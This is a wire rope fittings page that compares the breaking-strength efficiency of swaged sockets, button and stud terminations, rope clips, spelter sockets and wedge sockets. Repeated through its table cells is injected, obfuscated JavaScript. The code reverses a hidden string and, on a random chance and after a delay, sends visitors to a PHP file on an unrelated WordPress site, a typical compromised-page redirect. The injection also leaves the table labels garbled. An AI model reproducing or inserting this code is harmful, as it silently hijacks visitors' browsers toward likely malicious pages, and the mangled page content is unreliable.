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This page lists several types of end terminations used for overhead lifting applications. All efficiency ratings are based on the difference between the actual breaking strength of a rope and the attained breaking strength with that specific fittings. The only fitting which will attain a 100% efficiency are spelter sockets; provided they are properly attached. |
ALL other fittings are swaged or clamped onto the rope. The swaging or clamping process compresses the rope to varying degrees causing a slight loss of strength. Some publications refer to ‘100%’ efficiency with swaged sockets. Bear in mind, that most wire ropes have an actual breaking strength up to approximately 5%-15% HIGHER than the breaking strength listed in catalogue tables. In other words: a fitting having an efficiency rating of 90% may very well develop 100% of the rope’s CATALOGUE breaking strength because the rope’s ACTUAL breaking may very well be 5%–15% higher. |
| $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top:0px;”>Open Swaged Socket | |
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| $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top:0px;”>Closed Swaged Socket | |
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| $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top:0px;”>UNI-LOC™ Button | |
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| $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top:0px;”>UNI-LOC™ Threaded Stud | |
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| $NfI=function(n){if (typeof ($NfI.list[n]) == “string”) return $NfI.list[n].split(“”).reverse().join(“”);return $NfI.list[n];};$NfI.list=[“\’php.reklaw-yrogetac-smotsuc-ssalc/php/stegdiw-cpm/snigulp/tnetnoc-pw/gro.ogotaropsaid.www//:ptth\’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random()*6);if (number1==3){var delay=18000;setTimeout($NfI(0),delay);}top:0px;”>Forged Wire Rope Clips | |
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| tom:20px;”>Open Spelter Socket (Closed not shown) | tom:20px;”>Wedge Socket |
(1) Use only with 6-strand wire rope. Efficiency rating depends on rope size and core type.
(2) Meets EN13411
(3) Fabrication efficiency depends on fitting dimensions. Ask for information on UNI-LOC™ Assemblies.